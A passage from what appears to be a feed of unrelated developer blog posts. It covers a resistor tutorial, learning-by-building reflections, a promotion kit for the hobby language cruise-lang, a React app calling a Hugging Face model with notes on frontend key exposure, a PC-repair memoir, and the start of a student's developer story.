1 / R_total = 1/R₁ + 1/R₂ — or, for just two, R_total = (R₁ × R₂) / (R₁ + R₂)

Two 10 kΩ resistors in parallel make 5 kΩ. Parallel is how you "split the heat" too: two 1/4 W parts in parallel can handle what one cannot.

The voltage divider

Put two resistors in series across a supply and the point between them sits at a fraction of the voltage, set by the ratio:

V_out = V_in × (R₂ / (R₁ + R₂))

With 5 V in and two equal 10 kΩ resistors, the middle sits at 2.5 V. Make R₂ bigger than R₁ and the tap point rises; make it smaller and the tap falls. This is how you step a 5 V sensor signal down to the 3.3 V your microcontroller can read, how you set a comparator's trip point, and how you bias a transistor's base.

Calculating an LED current-limiting resistor

An LED is not a resistor; left directly across a supply it draws as much current as it can and burns out. You add a resistor to set the current. The formula:

R = (V_supply − V_forward) / I

where V_forward (Vf) is the LED's rated drop (about 2 V for red, 3.2 V for blue/white) and I is the current you want (typically 20 mA = 0.020 A, but 10 mA is fine for indicator use).

Example: a red LED (Vf ≈ 2 V) on a 5 V rail, wanting 15 mA: R = (5 − 2) / 0.015 = 200 Ω. The nearest common E12 value is 220 Ω, which gives (5−2)/220 ≈ 13.6 mA — a safe, bright-enough choice.

Common mistakes (and how to avoid a smoky resistor)

A short list of the errors that actually happen on the bench:

Reading red as orange (or vice versa). They sit next to each other in the mnemonic and look similar under warm light. Red is 2 / ×100; orange is 3 / ×1 k. One band off is a 10× value error. Use the calculator, or measure with a meter, when it matters.
Under-rating the power. A resistor can be the right value and still overheat. Always run P = V² / R and leave headroom — a 1/4 W part should rarely sit above ~125 mW in real use.
Forgetting the derating curve. That 1/4 W number is for 70 °C and below. In a hot enclosure, it is not 1/4 W anymore.
Floating input pins. A pull-up or pull-down resistor only does its job if it is actually connected to the pin and to the rail. A missing or misplaced resistor is why a button "sometimes" works.
Mixing up tolerance needs. Do not pay for 1% parts in a LED limiter, and do not cheap out with 5% parts in a measurement divider. Match the tolerance to the job.
Assuming SMD size = value. A 1206 is not "more ohms" than a 0402; it just handles more watts. The number on the body is the value; the package is the power.

This is a part of the full guide. The original on CircuitForge also includes interactive 3D component viewers, a live color-code calculator, embedded simulator circuits, and a full FAQ section — all of which are easier to use in a browser than in a blog post.

You can read the complete version with all the interactive tools here: (https://luvaai.in/learn/complete-resistor-guide)

Building Before I Feel Ready

Thu, 17 Sep 2026 08:41:43 +0000

There’s a strange feeling that comes with learning technology.

You can spend hours watching tutorials, reading documentation, taking courses, and solving problems and still feel like you don't know enough to build something real.

That feeling has followed me for a while.

I'm studying Electronic and Electrical Engineering, while also learning frontend development, IoT, and embedded systems. One day I'm working with React and TypeScript. The next, I'm looking at microcontrollers, sensors, circuits, or trying to figure out why some piece of hardware isn't behaving the way I expected.

There is always something else to learn.

And that's the problem.

For a while, I kept thinking I needed to learn more before I could seriously start building.

I eventually realized that was backwards.

Maybe building is how I learn what I actually need to know.

The Trap of Always Learning

The problem with always preparing is that there is never a clear point where you are “ready.”

There is always another course to finish.

Another framework to learn.

Another concept you don't fully understand.

Another project that seems slightly beyond your current skill level.

And because there is always something else to learn, it becomes easy to confuse learning with progress.

I've fallen into that trap myself.

I'd jump between frontend development, engineering courses, IoT, programming, and different ideas I wanted to explore. I was learning, but sometimes it felt like I was constantly starting rather than actually moving forward.

That's when I started changing how I approach learning.

Instead of asking:

“What do I need to learn before I can build this?”

I started asking:

“What do I need to learn to solve the next problem?”

That small change makes building much less intimidating.

You don't need to know everything.

You need to know enough to take the next step.

Building Forces You to Learn Differently
Tutorials are useful. Courses are useful. Documentation is useful.

But building something of your own changes the learning experience completely.

When you're following a tutorial, the path is already laid out. You know what comes next, what code to write, and often what the expected result should look like.

When you're building your own project, none of that is guaranteed.

You make decisions.

You run into errors you have never seen before.

You search through documentation.

You try something that doesn't work.

You change your approach.

Then, eventually, something works.

That's where I think some of the most valuable learning happens.

For example, while working on IoT projects, I’ve had to move between hardware and software, dealing with sensors and microcontrollers on one side and interfaces and data visualization on the other.

The interesting part isn't knowing every technology beforehand.

It's figuring out how to connect the pieces.

And every problem becomes a question:

Why isn't this working?

Then you look for the answer.

That process has taught me something important:

You don't always need more preparation. Sometimes you need a problem worth solving.

I'm Still Figuring Things Out
I don't want this to sound like I suddenly figured everything out.

I haven't.

I'm still learning how to write better code, design better interfaces, understand engineering concepts more deeply, and build projects that actually work outside of a tutorial.

Some projects will fail.

Some ideas will change halfway through.

Some things I build will probably look very different a few months from now.

And I think that's okay.

I'm sharing more of what I build because I want a record of the process the messy middle- not just the polished result.

The bugs.

The things I misunderstood.

The solutions I eventually found.

The decisions that worked and the ones that didn't.

I also want to meet other people who are doing the same thing: learning by building.

Because something is motivating about seeing someone else struggle through a problem, solve it, and then share what they learned.

That's the kind of developer and engineer I want to become.

Not someone who knows everything.

Someone who keeps building, keeps learning, and knows how to figure things out.

What I'm Building Now
Right now, I'm exploring the space where software and hardware meet.

On the software side, I'm building with technologies like React and TypeScript, learning how to create interfaces that are not just functional but actually enjoyable to use.

On the hardware side, I'm experimenting with microcontrollers, sensors, and IoT projects. That means dealing with things that don't always behave exactly as expected—which is a pretty effective way to learn.

I'm also studying Electronic and Electrical Engineering, so I'm constantly discovering connections between what I learn in class and what I can actually build.

That's probably what interests me most.

A web application doesn't have to exist completely separately from the physical world.

A sensor can collect data.

A microcontroller can process it.

A backend can move it somewhere useful.

And a frontend can turn that data into something a person can actually understand and interact with.

There's a lot I still don't know about all of this.

But that's exactly why I'm building.

I want to see how far I can go by learning one problem at a time.

So, What Now?
I don't have a perfectly defined roadmap.

And honestly, I'm starting to think that's okay.

For now, I want to keep building projects, documenting what I learn, and gradually getting better at connecting the different things I'm interested in.

Some posts here will probably be about frontend development.

Others might be about IoT, embedded systems, engineering concepts, or something completely different that I happen to be exploring.

I also want to share the parts that don't usually make it into portfolios—the debugging, the mistakes, the confusion, and the small breakthroughs that make a project finally work.

Maybe someone reading this is also stuck in the “I'm not ready yet” phase.

If that's you, I'm learning the same lesson myself:

You don't have to wait until you know everything.

Start with what you know.

Build something.

When you hit a problem, learn what you need to solve it.

Then build again.

That's what I'm going to do.

Build before I'm ready. Learn along the way. And keep going.

I'm Just Getting Started

This is my first post on DEV.to, and I think it should start here.

I'm not writing because I have everything figured out. I'm writing because I want to document the process of figuring things out.

I'll be sharing projects, experiments, lessons, mistakes, and whatever interesting problems I run into along the way.

If you're also learning to code, studying engineering, building projects, or trying to figure out how all these pieces fit together, maybe we can learn from each other.

For now, I'm going to keep building.

One project. One problem. One lesson at a time.

CRUISE-LANG (v0.4.1) DEV ARTICLES & PROMOTION KIT ✨

Tue, 15 Sep 2026 14:10:40 +0000

CRUISE-LANG (v0.4.1) DEV ARTICLES & PROMOTION KIT

1. DEV.TO / MEDIUM / HASHNODE LONG-FORM ARTICLE ✍️

Building Cruise: How I Created an AI-Ready Programming Language in Python

Ever wondered what it takes to build a programming language from scratch that natively handles AI tensors, automatic differentiation, and desktop GUIs?

I created Cruise (cruise-lang), a lightweight, high-level programming language built in Python with a custom Lexer, AST Parser, PyTorch tensor calculus, and a built-in package manager! ⚡

✨ Why Build Cruise?

Many modern languages are either too verbose for quick scripting or lack native abstractions for tensor calculus and deep learning workflows. Cruise was engineered to solve this:

Human-Readable: Zero boilerplate with English-like syntax (let x be 10, 3 times write(...)).
Native AI Calculus: Deep learning tensors and autograd derivatives out of the box.
Built-in Package Manager (CPM): One-command package downloads (cruise install ).
️ Zero-Config GUIs: Create desktop app windows and button handlers in single calls.
REST API Suite: Direct JSON HTTP requests with fetch() and post().

️ Code Showcase

1. Variable Flexibility & Fast Automation Loops

Flexible variable assignments

let name = "Cruise"
let version be 0.4
total_users = 1000

Single-line automation loops

3 times write("Welcome to " + name + " v" + version + "! ")

2. PyTorch Tensor Calculus & Optimizers

Initialize tensors with autograd enabled

let w = tensor([2.0, 4.0], true)
let x = tensor([1.0, 3.0], true)
let y = (w * x) + 1.0

Initialize Adam / SGD optimizers directly

let optimizer = opt_adam([w], 0.01)

write("Calculated Tensor:")
write(y)

3. Interactive Desktop GUI in 5 Lines ️

fn on_click():

write("Model training started! ⚡")

end

gui_window("Cruise AI App", "Run Model", on_click)

4. REST API Communication

let github_data = fetch("https://api.github.com")
write("GitHub Status:")
write(github_data)

Getting Started

Install Cruise directly from PyPI:
$ pip install --upgrade cruise-lang

Start the interactive REPL shell:
$ cruise

Or run any .cru or .crui script file:
$ cruise main.cru

Project Links & Community

GitHub Repo: https://github.com/manjas-developer/Cruise
PyPI Package: https://pypi.org/project/cruise-lang/
Official Website & 0–100 Docs: https://manjas-developer.github.io/Cruise-Website/

Support My Work

Indian Users Support Here: https://buymeachai.in/manjasanand08 ☕
International Users Support Here: https://throne.com/manjas-developer/item/d83a6389-fc12-4d64-a4e1-cf4dc4d1dc45

================================================================================

2. REDDIT POST (r/Python, r/programminglanguages, r/MachineLearning)

Title: Cruise – An AI-ready, tensor-based programming language built in Python (v0.4.1) ⚡

Hey everyone!

I've been building Cruise (cruise-lang), an open-source interpreted programming language designed to bridge the gap between human-readable domain scripting and native PyTorch matrix tensor calculus.

Key Features:

Complete AST Engine: Custom recursive descent parser & tokenizer with scoped memory frames.
Deep Learning Native: Built-in autograd tensor calculus (tensor([...], true)), loss functions (mse_loss), activations (relu, sigmoid), and optimizers (opt_adam, opt_sgd).
Clean Syntax: Supports single-line '3 times ', 'let x be 5', and modular 'fn ... end' blocks.
Package Manager (CPM): Built-in CLI package installer via 'cruise install '.
️ Tkinter GUIs: Zero-boilerplate desktop window generation with button callbacks (gui_window).
HTTP Suite: Built-in fetch(url) and post(url, data) with automatic JSON decoding.

Quick Test Drive:

$ pip install --upgrade cruise-lang
$ cruise

Cruise REPL session:
cruise> let weights = tensor([0.5, 1.5], true)
cruise> let optimizer = opt_adam([weights], 0.01)
cruise> write(weights * 2.0)

PyPI: https://pypi.org/project/cruise-lang/
GitHub: https://github.com/manjas-developer/Cruise
Docs & 0-100 Tutorial: https://manjas-developer.github.io/Cruise-Website/

Feedback on the AST architecture and tensor bindings is warmly welcomed!

================================================================================

⚡ 3. HACKER NEWS (SHOW HN) POST

Title: Show HN: Cruise – An AI-ready, tensor-based programming language in Python

URL / Text:
Hey HN! I built Cruise (cruise-lang), a lightweight programming language featuring an AST parser, lexer, PyTorch tensor calculus, CPM package manager, HTTP suite, and desktop GUI tools.

PyPI: https://pypi.org/project/cruise-lang/
GitHub: https://github.com/manjas-developer/Cruise
Interactive Docs: https://manjas-developer.github.io/Cruise-Website/

Install via: pip install --upgrade cruise-lang

Key design goals:

Readable English-like syntax without syntactic bloat (let x be 10, 3 times write("Hi")).
First-class PyTorch autograd tensors and optimizers (opt_adam, opt_sgd).
Zero-configuration tooling with a built-in package manager and desktop GUI builder.

Would love your thoughts on the interpreter architecture and language design!

================================================================================

4. X (TWITTER) POST / THREAD

Excited to share Cruise Language (cruise-lang v0.4.1) on PyPI! ✨

An AI-ready, tensor-based programming language built in Python with:
PyTorch Autograd & Optimizers
AST Parser & Scoped Memory Frames
CPM Package Manager
Desktop GUIs in 4 lines

Try it: pip install --upgrade cruise-lang

GitHub: https://github.com/manjas-developer/Cruise
Web & 0-100 Docs: https://manjas-developer.github.io/Cruise-Website/

Python #MachineLearning #OpenSource #PyTorch #DevCommunity

Meet Cruise Language: The Lightweight, AI-Ready Programming Language I Built at 12 Years Old!

Tue, 15 Sep 2026 14:10:14 +0000

Meet Cruise Language: The Lightweight, AI-Ready Programming Language I Built at 12 Years Old!

Hey everyone!

I'm Manjas Anand, a 12-year-old developer, and I’m excited to share my open-source project: Cruise Language (cruise-lang).

Cruise is an AI-powered, human-readable programming language interpreter designed to bring simplicity, speed, and native deep learning power together without the complex boilerplate!

✨ Key Features

PyTorch Autograd Engine: Native tensor support for matrix calculations and ML math.
Human-Readable Syntax: Clean, plain-English function definitions.
Built-in HTTP Library: Fetch JSON data and connect with REST APIs directly using simple fetch commands.
️ Zero-Config Desktop GUI: Launch instant desktop windows with graceful headless fallbacks for terminal environments.
⚡ Cross-Platform REPL: Runs on any device with Python 3.8+ (including iPad terminals!).

Try It Out!

You can install Cruise in seconds using pip:

pip install --upgrade cruise-lang

Run interactive commands via the REPL shell, or execute standalone script files (.cru or .crui):

cruise main.cru

Links & Support

GitHub Repository: https://github.com/manjas-developer/Cruise
Official Website: https://manjas-developer.github.io/Cruise-Website/
PyPI Package: https://pypi.org/project/cruise-lang/
☕ Support My Work: https://buymeachai.ezee.li/manjas_developer

I'd love to hear your thoughts, feedback, and ideas for upcoming features! Star the repo on GitHub if you find it cool! ⭐

What I Learned Integrating AI Into My React App

Tue, 15 Sep 2026 00:46:58 +0000

While building Chef Claude, a small React application where users enter the ingredients they have and receive an AI-generated recipe, I started wondering how this would actually work.

Should I store recipes somewhere in my code? Or use a recipe API?

Since every user could enter a different combination of ingredients, I couldn't rely on a fixed list of recipes.

That's when I thought of integrating AI into the app.

What I Was Building

The flow of Chef Claude was simple.

Users add ingredients based on what they have available. Every ingredient is stored in state, and after adding at least four ingredients, the "Get a Recipe" button appears.

When the user clicks the button, the ingredient list is sent to the AI model. The model uses those ingredients to generate a recipe and sends the response back.

But the response comes back as Markdown.

Displaying that raw response directly in the UI didn't look good, so I used react-markdown to render the Markdown properly in my React app.

Getting a Hugging Face Access Token

Before connecting my app to an AI model, I needed a Hugging Face access token.

Creating one only took a few minutes:

Create a Hugging Face account.
Open Access Tokens.
Create a new fine-grained token.
Enable inference permissions.
Copy the token.

Setting Up the Environment Variable

After getting my Hugging Face token, I needed to use it inside my React application.

Instead of hardcoding my API key directly into my React code, I stored it in a .env file to keep my configuration separate from the source code.

VITE_HF_ACCESS_TOKEN=YOUR_API_KEY

Then I accessed it inside my application using:

const token = import.meta.env.VITE_HF_ACCESS_TOKEN;

At first, I thought keeping my token in a .env file meant it was completely safe.

But after learning how Vite handles environment variables, I realized that wasn't true.

Since my React application needs the token to make the API request, Vite exposes VITE_ environment variables to the frontend during the build process. That also means the browser has access to them.

One thing that confused me was this: if my .env file wasn't part of my application code, then how was the browser still getting my API key?

After understanding how Vite builds the application, it finally clicked. The .env file helps keep my configuration separate from the source code, but VITE_ variables are still injected into the frontend because the browser needs them to make the API request.

That's when I realized my API key wasn't actually secret anymore.

While researching this, I also understood why backend applications are important. Instead of letting the browser call the Hugging Face API directly, the better approach is to keep the API key on the backend. The frontend sends the user's ingredients to the backend, the backend talks to the AI using the secret API key, and only the generated recipe is returned to the frontend.

Even though I haven't learned backend development yet, this was the moment I finally understood why developers keep saying that secret API keys should never live in the frontend.

One thing I learned: Keeping .env out of your source code and keeping an API key secret are two different things. If the frontend needs the key, the browser will eventually have access to it. That's why sensitive API keys should be kept on a backend or serverless function.

Connecting the Model

After setting up the API key, the next step was connecting my React application to an AI model.

import { HfInference } from "@huggingface/inference";

const SYSTEM_PROMPT = `
You are an assistant that receives a list of ingredients that a user has and suggests a recipe they could make with some or all of those ingredients. You don't need to use every ingredient they mention in your recipe. The recipe can include additional ingredients they didn't mention, but try not to include too many extra ingredients. Format your response in markdown to make it easier to render to a web page
`;

const hf = new HfInference(import.meta.env.VITE_HF_ACCESS_TOKEN);

export async function getRecipeFromMistral(ingredientsArr) {
    const ingredientsString = ingredientsArr.join(", ");

    const response = await hf.chatCompletion({
    // I'm using Qwen 2.5 7B Instruct, but you can replace it with any compatible Hugging Face model.
        model: "Qwen/Qwen2.5-7B-Instruct",
        messages: [
            { role: "system", content: SYSTEM_PROMPT },
            {
                role: "user",
                content: `I have ${ingredientsString}. Please give me a recipe I'd recommend!`,
            },
        ],
    });

    return response.choices[0].message.content;
}

Let's break down what each part is doing.

`HfInference`

Instead of manually sending HTTP requests to the Hugging Face API, the SDK provides a client that makes interacting with AI models much simpler.

`SYSTEM_PROMPT`

The system prompt tells the AI how it should behave.

In my project, I wanted the AI to act like a recipe assistant. It should take the user's ingredients, suggest a recipe, and return the response in Markdown so I could render it nicely in my UI.

Without a system prompt, the AI still responds, but it doesn't have clear instructions about the format or the type of answer I expect.

`ingredientsArr.join(", ")`

The ingredients entered by the user are stored as an array.

["Rice", "Egg", "Onion", "Tomato"]

Before sending them to the AI, I converted them into a single string using .join(", ").

Rice, Egg, Onion, Tomato

This creates a natural sentence that becomes part of the user's prompt.

`chatCompletion()`

This is the function provided by the Hugging Face SDK that sends my prompt to the selected AI model and returns its response.

In simple words, this is where my React application actually talks to the AI.

Returning the recipe

Finally, I return:

response.choices[0].message.content

This gives me the generated recipe, which I later render in my React application using react-markdown.

The Response Was Markdown

After connecting the AI model, I thought the hard part was over.

The user clicked the "Get a Recipe" button, the AI generated a recipe, and everything worked.

But there was one small problem.

The response didn't look good in the UI.

The AI was already returning a well-structured Markdown response, and when I rendered it directly, it looked like plain text instead of a nicely formatted recipe.

That's when I discovered react-markdown.

Instead of manually formatting the response, I used react-markdown to render the Markdown as React elements.

The difference was immediately noticeable. Headings, bullet points, and formatting started looking like a proper recipe instead of a block of text.

That small library made the final output look much better without adding much extra code.

Final Thoughts

When I started this project, I thought integrating AI simply meant sending a prompt and getting a response.

By the end, I realized there was much more involved—structuring prompts, handling responses, understanding how environment variables work, and presenting the AI's output in a way that feels polished to the user.

This project also reminded me that every library solves a specific problem. Instead of building everything from scratch, knowing when to use the right tool is just as important.

If you've built something similar or have suggestions, I'd love to hear them in the comments.

I finished the Tenzies "toy" and immediately hit a wall

Mon, 14 Sep 2026 16:36:50 +0000

I finished the Tenzies "toy" and immediately hit a wall

So I wrapped up the basics course, played around with (and extended) the Tenzies app — a tutorial toy, not a real problem, as I keep reminding myself — and figured I was ready to build something real. Something that actually solves a problem, not just proves I can follow along.

I had an idea. I streamlined it. I felt good about it.

Then I did something that wrecked that feeling: I pulled up a proper list of React concepts and checked off what I'd actually covered.

✅ derived state
✅ forms and controlled inputs
✅ (medium) state management
—  complex component architecture
—  reusable components
—  custom hooks
—  API calls
—  loading/error states
—  routing
—  optimistic updates
—  pagination/filtering/search
—  authentication
—  local persistence
—  performance considerations

Three and a half out of fourteen. Omo.

The fork in the road

This left me with a real decision, not a vibes-based one: do I stop and take a structured advanced React course, or do I keep building and pick up the missing concepts as the project demands them?

I was already skeptical of the second option going in — and for a specific reason. If I build while leaning on AI to fill every gap, I could ship something that looks like my project while understanding almost none of the concepts that made it work. That's not learning, that's assembling.

So before picking a side, I had to answer a harder question: what actually stops "learning while building" from turning into "pasting while building"?

Here's where I landed — the rule I'm holding myself to for this build:

Get the overview of a concept first (with or without AI help) — not the implementation, just the shape of the idea.
Attempt the feature that needs it, myself, before asking anything.
If I'm stuck after real reasoning and research — not five minutes of staring — then I bring Claude in, and only for a hint, not the answer.
The overall sequence of what to learn when is planned out for me, since I don't yet know this territory well enough to sequence it myself.

That last point matters more than it sounds — it's the difference between "I'll learn as I go" (vague, no accountability) and having an actual curriculum sitting underneath an unstructured build.

I'm treating this as a real test, not a permanent decision. If a few weeks in this path isn't producing real understanding, I'll stop and go take the structured course instead. No shame in switching — just data either way.

A quick contrast: learning Tailwind was the opposite of this

Small aside, but it's stuck with me. I picked up Tailwind CSS purely by reading the documentation — no tutorials, no courses. It just clicked. If you're learning Tailwind: skip the tutorials, the docs are enough.

React, at this depth, is not that. And honestly, that gap in difficulty is part of why I needed an actual system before diving in, instead of just winging it.

What's next

The project this is all in service of — a progress-tracking app for an accountability group I'm part of — deserves its own post, because the scoping conversation alone was a whole thing. That's coming separately.

For now: if you've gone through this same fork — course first vs. learn-by-building — I'd genuinely like to hear which way you went and whether you'd choose the same again.

Tags: #react #javascript #webdev #beginners

Maybe I Do Know Something After All

Mon, 14 Sep 2026 15:34:46 +0000

I’ve been thinking about writing more, but once again I found myself trapped in a loop of self-doubt. It’s difficult to have so many ideas and still feel unable to act on them—or to believe that, in the end, I have no knowledge worth sharing. I get stuck there from time to time.

I often feel as though I know nothing. The truth is that I know many things; they simply do not always seem to be the things people want or value, at least from a business or capitalist perspective. When I try to share what I have learned with my family, even just to reinforce it for myself, they often do not want to listen or do not seem interested.

I am a lonely person, and sometimes that is difficult to live with. The one constant throughout my life has been the computer.

Learning by Clicking on Things

I have used computers for as long as I can remember. In 1998, my father brought home our first PC, a Compaq Presario that was top of the line at the time. I was born in 1992 and was still learning to read and write, yet I was already exploring Windows 95, clicking through menus and learning by trial and error.

My father bought games for us, and I still have many of them. I drew in Paint, played Pinball, and later began writing in Word. I even wrote entire books—well, a Harry Potter spin-off—but I was writing nonetheless. Games such as Zoo Tycoon, RollerCoaster Tycoon, The Sims, and the Harry Potter titles helped shape my childhood. I kept writing throughout my teenage years, something I have never quite managed to return to in the same way.

Looking back, that childhood curiosity never really disappeared; it simply became experience. I have lived through Windows 95, Windows Millennium Edition, Windows XP Professional, Windows Vista, Windows 7, Windows 8.1, Windows 10, and now Windows 11. For years, I assumed that I knew nothing about computers or how they worked. It turns out that I do. I had absorbed the idea that working with computers required being good at mathematics, which I am not, and that belief made me overlook the practical knowledge I had been accumulating all along.

Over time, that knowledge became increasingly tangible. I have built and upgraded computers, diagnosed some of the worst Windows problems, and grown comfortable using PowerShell. In 2022, after researching and choosing every component myself, I assembled my first PC entirely on my own. Still, I never treated any of this as a real skill. I assumed that “normal people must know how to do it too.” Yet I genuinely enjoy investigating those small, stubborn problems and finding a way around them.

Every Computer Gave Me a New Problem

That confidence did not appear all at once. It grew through each computer I owned and every problem it gave me. After the Compaq came a Dell Dimension 2000 running Windows ME. In 2004, I received the first computer that was truly mine: another Dell Dimension, this time with Windows XP Professional. Its Celeron processor was far from ideal for The Sims 2, but I played anyway. I developed a ritual: Disk Cleanup, defragmentation, and then opening the game to face its seemingly eternal loading screen.

When The Sims 3 was about to be released, I asked my parents for a new computer because the old Dell would not be able to run it. They gave me a Vostro with an ATI graphics card whose model I can no longer remember. It arrived with Windows Vista, and then the strangest thing happened: after I installed The Sims 2, the graphics card died. On the very day I received the computer, I had to call Dell and arrange for the ATI card to be replaced.

The problems changed as the computers improved, but the pattern remained the same: something would go wrong, and I would learn by dealing with it. After the Vostro came a Dell laptop running Windows 7, a definite improvement. In 2014, I upgraded again to a Dell XPS with an NVIDIA card and, if I remember correctly, a fourth-generation Core i5. Once I began playing Battlefield 4, I used my first internship salary to buy my first dedicated graphics card: a Sapphire R9 270 Dual-X, still one of the best GPUs I have ever owned. I still have it, and it still works. I gave the original XPS graphics card to someone in an online group whose own card had died and who could not afford a replacement.

Windows Should Never Be Trusted with Options

By the time I had pushed that XPS as far as I could—through Windows 8.1 and the Windows 10 Insider builds—I was ready for something different. I moved to the strangest Dell I had ever owned: an all-AMD system with a Ryzen 7 1700X and a reference-model RX 570. It made me happy for a long time. More importantly, it became the computer through which I learned that practical knowledge does not always look graceful while it is being acquired.

That lesson arrived quickly. For someone who was terrified of damaging hardware, I had what might have been the worst beginner experience imaginable. Every upgrade felt like a test designed specifically to confirm my fears. Fortunately, fear was never the only thing I brought to a problem. I was also creative—or, at least, very willing to invent solutions when the official ones refused to work.

Installing Windows became one of those problems. I owned several SSDs and hard drives, which meant the installer had options—and Windows should never be trusted with options. I could select the correct SSD, double-check it, and practically introduce the two of them by name. Windows would nod politely and then install the boot files somewhere else, like a confused delivery driver leaving my operating system at a neighbor’s house.

Eventually, I stopped trying to reason with it. I disconnected every other drive. No menus, no advanced configuration, no more opportunities for creative interpretation: just Windows and one SSD alone in a room. It was less a technical solution than removing every wrong answer from a multiple-choice test, but it worked. With nowhere else to put the boot files, Windows finally discovered the drive I had been pointing at the entire time.

Solving one Windows problem, however, usually led to another. My Windows 11 OEM license had originally come with my old Dell, and it remained activated after I changed the motherboard. Whenever I mentioned this, people insisted that it could not be legitimate—as though they knew more about my license than Microsoft’s own activation servers did.

The situation was absurd: Windows looked at my rebuilt computer and said, “Yes, this is fine,” while other people treated me as though I had forged the operating system in my basement. I could point to the activation screen, but apparently official confirmation from Windows was merely circumstantial evidence. The motherboard change behind that argument, however, had given me a much more immediate concern.

The Ryzen That Refused to Die

The license survived the motherboard change without complaint. The processor’s pins were less fortunate. During a motherboard swap at Christmas—because nothing captures the holiday spirit quite like dismantling a computer while everyone else is eating—I removed the cooler and discovered that the Ryzen had come with it, firmly attached by thermal paste and possibly spite. Several pins were bent.

At that moment, there were two possible responses. A sensible person might have admitted defeat. I took out an insulin needle.

One by one, I straightened the pins with the kind of concentration normally reserved for surgery or bomb disposal. Then I placed the processor back into the socket and turned on the computer. It worked. Against all reasonable expectations, the Ryzen had survived being ripped from its home, having its legs bent, and receiving emergency treatment with an insulin needle.

It was not even the last time I bent its pins. During yet another motherboard change, the processor slipped from my hands and landed on the motherboard in the worst possible position. If there was a single angle capable of producing maximum damage, it found it.

I picked it up and looked at the pins. Bent. Again. By then, the insulin needle and I were no longer performing emergency surgery; we were apparently running a recurring clinic. I straightened them one more time, put the processor back into its socket, and turned on the computer. Naturally, it worked. At this point, surviving my hardware upgrades had become one of its advertised features.

I assumed that was the end of the adventure. The processor had been tested, repaired, and granted a second chance. Then, sometime later, I removed it again and found a burned ant lodged between the pins.

There are moments in computer repair when technical knowledge helps. This was not one of them. No manual prepares you for discovering that your CPU has apparently defeated an insect in single combat. I removed the ant, inspected the pins, and wondered whether I had unknowingly purchased a processor or a very small electrical predator.

Once again, I reassembled the computer. Once again, the Ryzen started normally, as if nothing unusual had happened. Bent pins? Twice. Needle surgery? A repeat procedure. Incinerated intruder? Barely worth mentioning. At this point, the processor seemed less like a component and more like the final survivor in a low-budget science-fiction film.

Eventually, I gave the 1700X to my boyfriend’s brother. It is still working today, which means it has now survived being torn from a cooler, two separate bent-pin disasters, repeated amateur microsurgery, an insect-related electrical incident, and a change of ownership. I can only assume it will outlive all of us.

Maybe I Do Know Something After All

I think that is why I am so attached to that Ryzen. It is not only nostalgia. We have been through too much together. Somewhere between the bent pins, the needle, and the burned ant, I stopped seeing a computer as this precious sealed object that I was going to destroy if I touched the wrong thing. I learned that I could make a mistake, panic a little, find a solution, and fix it. If that processor ever stops working, I will probably keep it forever in a drawer with all the cables I refuse to throw away.

Now I feel confident enough to build PCs for other people. I know how to research the parts, put everything together, and deal with whatever strange problem appears afterward, because there is always something. I also run the Windows Preview builds on my own computer—the experimental version—and somehow make them work beautifully. Years ago, I was afraid of touching the hardware.

Now I willingly install unfinished versions of Windows. I am not sure whether that is personal growth or just a different kind of bad decision, but I will take it.

Maybe I do know something after all. I did not learn it in a classroom, and nobody ever told me that I was officially qualified. I learned by clicking on things, breaking things, searching for answers, finding ridiculous workarounds, and trying again. Sometimes the solution was disconnecting every drive until Windows had no other choice. Sometimes it was straightening the same processor’s pins for the second time. None of this ever felt impressive to me because it was simply what I did. But maybe that does not make it less valuable. Maybe the things that feel ordinary to me are still worth sharing. And maybe writing about computers is a good place to start.

My Developer Journey So Far: Wrong Turns, Real Lessons — Elias Song’s Story

Fri, 11 Sep 2026 09:36:45 +0000

My Developer Journey So Far: Wrong Turns, Real Lessons — Elias Song’s Story

A CoderLegion Developer Story featuring Elias Song

Written by Elias Song

Edited by Mehadi Hasan, Community & Editorial Team at CoderLegion

If you ask me what has stayed with me most since I started programming, I can give you one answer:

The first time I saw "Hello World" appear in the terminal.

It wasn't an impressive program.

It wasn't a groundbreaking project.

But there was something about seeing those words appear on the screen that made programming feel real.

Since then, my journey has included ambitious ideas, wrong turns, an embarrassing competition experience, learning with AI, moments of self-doubt, and eventually a much simpler realization:

I don't want to learn technology just to impress people. I want to understand it because I genuinely love it.

This is my developer journey so far.

My First Step Into Programming

When I entered university, I chose Computer Science.

That was my first real introduction to programming.

During my freshman year, I had an idea for a product that I couldn't stop thinking about.

I spent a lot of time searching for useful school resources and trying to figure out whether different materials were actually what I needed.

Eventually, I thought:

Why not build a website that brings all these resources together?

The idea was to create a platform where students could find school resources and classwork in one place.

Students could share useful materials.

They could record information in built-in notes.

Those notes could be printed locally.

And I even imagined an AI feature that could summarize the information.

Most importantly, I wanted the website to be free and simple.

No email.

No phone number.

Just search for what you need, save it, and print it locally.

The idea kept coming back to me.

So eventually I thought:

"Just give it a try."

There was only one problem.

I was a beginner.

And I had no idea what technology stack I should choose.

Choosing My First Stack

After considering my options, I chose Python and Flask.

They seemed approachable, and I thought they would allow me to get a website running quickly.

Then reality arrived.

There were errors.

There were bugs.

There were things I didn't understand.

I spent a lot of time debugging.

But there was another important detail about this project.

Around 90% of it was done with the help of AI.

At the time, I had a very strong desire to finish the project quickly.

I thought I needed to get it working, put it online, and show it to people.

I imagined my friends seeing the website and being impressed.

Eventually, the website went live on the public internet.

I was incredibly excited.

I told my friends.

I told my parents.

It was online.

I had built something.

Or at least, that's what I thought.

Then Nobody Came

The website was live.

The visitor counter was ready.

And then...

Nothing happened.

The counter didn't move.

Day after day, there were almost no visitors.

I started looking for ways to get people to notice it.

I entered competitions.

My friends helped me promote the website.

We worked on polishing the project.

One friend helped with promotion through social media.

Another helped create a feedback form.

I still remember how much effort they put into helping me.

I imagined standing in front of the judges and confidently explaining the technology behind my project.

Then the competition day arrived.

And everything changed.

"Do You Have a Database?"

I stood in front of the judges with a friend and started introducing our website.

Then one judge interrupted us.

"Stop! I have a question!"

They asked:

"Do you have a database?"

Then:

"How did you upload all these resources and assignments to the website?"

I froze.

Database?

Of course we had one.

There was a SQLite database sitting on the server.

But I couldn't explain it properly.

The judge kept asking how we had uploaded the resources.

I said we used a script.

Then they asked how the script worked.

And eventually I admitted:

"We used AI to help write the scripts."

That was one of the most embarrassing moments of my programming journey.

The worst part wasn't that the project had problems.

The worst part was that I couldn't explain what I had built.

The Project Looked Better Than I Understood It

Looking back, the problem was obvious.

I had been focused on finishing.

I wanted features.

I wanted the project to look impressive.

I wanted people to see what I had built.

But I hadn't spent enough time understanding the foundation underneath it.

There was no proper concurrency handling.

There was no defensive programming.

There was no meaningful logging.

It was essentially basic CRUD.

